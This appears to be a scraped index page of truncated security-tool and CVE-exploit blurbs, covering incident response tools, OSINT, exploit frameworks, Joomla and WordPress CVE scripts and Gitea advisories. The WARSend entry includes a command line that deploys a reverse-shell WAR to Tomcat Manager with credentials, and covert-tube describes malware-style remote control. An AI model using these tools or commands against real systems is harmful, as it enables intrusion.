autoresponder

AutoResponder Herramienta de IR de Carbon Black Response para la caza de amenazas en un entorno ¿Qué es? AutoResponder es una herramienta diseñada para ayudar a las personas a realizar sus tareas de Respuesta a Incidentes CON la ayuda de las increíbles capacidades de Carbon Black Response y SIN...

autoresponder

AutoResponder Carbon Black Response IR tool for hunting threats in an environment What is it? AutoResponder is a tool aimed to help people to carry out their Incident Response tasks WITH the help of Carbon Black Response's awesome capabilities and WITHOUT much bothering IT/System/Network Teams Wh...

poastal

Poastal - the Email OSINT tool Poastal is an email OSINT tool that provides valuable information on any email address. With Poastal, you can easily input an email address and it will quickly answer several questions, providing you with crucial information. ✨ Features Determine the name of the...

gftrace

gftrace Una herramienta de línea de comandos para rastrear llamadas a la API de Windows en binarios de Golang. Nota: Esta herramienta es un PoC y un prototipo en desarrollo, así que por favor trátela como tal. ¡Los comentarios son siempre bienvenidos! ¿Cómo funciona? Aunque los programas Golang...

gftrace

gftrace A command line Windows API tracing tool for Golang binaries. Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome! How it works? Although Golang programs contains a lot of nuances regarding the way they are built and their...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

covert-tube

covert-tube A program to control systems remotely by uploading videos to Youtube using Python to create the videos and the listener, emulating some malware I was reading about. It allows to create videos with frames formed of simple text, QR codes with cleartext or QR codes using AES encryption...

CVE-2023-23752

CVE-2023-23752 Vulnerabilidad de acceso no autorizado en Joomla fofa: product="Joomla" Usage usage: CVE-2023-23752.py -h -u URL -f FILE -t THREAD -T TIMEOUT -o OUTPUT optional arguments: -h, --help show this help message and exit -u URL, --url URL Target urle.g. url.txt -f FILE, --file FILE Targe...

poro

poro Description Scan for publicly accessible assets on your AWS environment Services covered by this tool: AWS ELB API Gateway S3 Buckets RDS Databases EC2 instances Redshift Databases Poro also check if a tag you specify is applied to identified public resources using --tag-key and --tag-value...

printix-CVE-2022-25089

CVE-2022-25089 La pesadilla completa de un administrador de sistemas: usuarios cambiando el registro desde cualquier lugar y en todas partes sin autenticación. Explora la documentación » Ver demo . Reportar error . Solicitar función Tabla de contenidos Sobre el proyecto Construido con Empezando...

CVE-2023-5359

CVE-2023-5359 - Vulnerabilidad de almacenamiento en texto claro en W3 Total Cache Descripción CVE-2023-5359 es una vulnerabilidad de almacenamiento en texto claro que afecta al plugin de WordPress W3 Total Cache en versiones ≤ 2.7.5. Esta vulnerabilidad permite a atacantes remotos acceder a...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / /...

Uchihash

Uchihash Uchihash es una pequeña herramienta que puede ahorrar tiempo a los analistas de malware al manejar valores hash incrustados utilizados para diversas cosas, como: Importación dinámica de APIs especialmente en shellcode Verificación de procesos en ejecución utilizados por analistas...

CVE-2026-96594

The Gitea API endpoint GET /api/v1/repos/owner/repo/media/filepath wrote files of up to 1 KiB that are stored directly in Git, not in LFS, to the response without the content type and disposition headers Gitea uses for user content. An HTML file committed to a repository was therefore rendered by...

CVE-2026-86684

The Gitea push mirror API checked whether the repository owner, instead of the requesting user, may use local file system paths. On instances with security IMPORTLOCALPATHS = true, a repository administrator who is not allowed to import local paths could add a push mirror to a local path on the...

CVE-2026-97208

The Gitea API endpoint for creating push mirrors POST /api/v1/repos/owner/repo/pushmirrors checked only whether mirroring was enabled and not the mirror DISABLENEWPUSH setting that the web interface enforces. A repository administrator could therefore create new push mirrors on instances where th...

CVE-2026-105268

The Gitea API routes for issue attachments /api/v1/repos/owner/repo/issues/index/assets/attachmentid also accepted attachments that belong to comments on the issue. Because the author of an issue may edit and delete the issue's attachments, a user who opened an issue could rename or delete...

CVE-2023-31664

CVE-2023-31664 CVE-2023-31664 Una vulnerabilidad de cross-site scripting XSS reflejado en /authenticationendpoint/login.do de WSO2 Api Manager por debajo de v4.2.0 permite a los atacantes ejecutar scripts web arbitrarios o HTML a través de un payload manipulado inyectado en el parámetro...

Burp_Collector

Burp Collector Burp Collector es una herramienta multiproceso diseñada específicamente para ayudar a pentesters y cazadores de bugs en pruebas de aplicaciones web/móviles. Con sus potentes capacidades, agiliza el proceso de recopilación y extracción de información de archivos de Burp Suite,...

csf

ArmourBird CSF - Container Security Framework Note: The CSF Client is under active development and is getting converted into GoLang for better performace and architecture Table of Contents 1. About 2. Architecture Diagram 3. APIs-CSF Server 4. Installation/Usage 5. Building Docker Images 6. Sneak...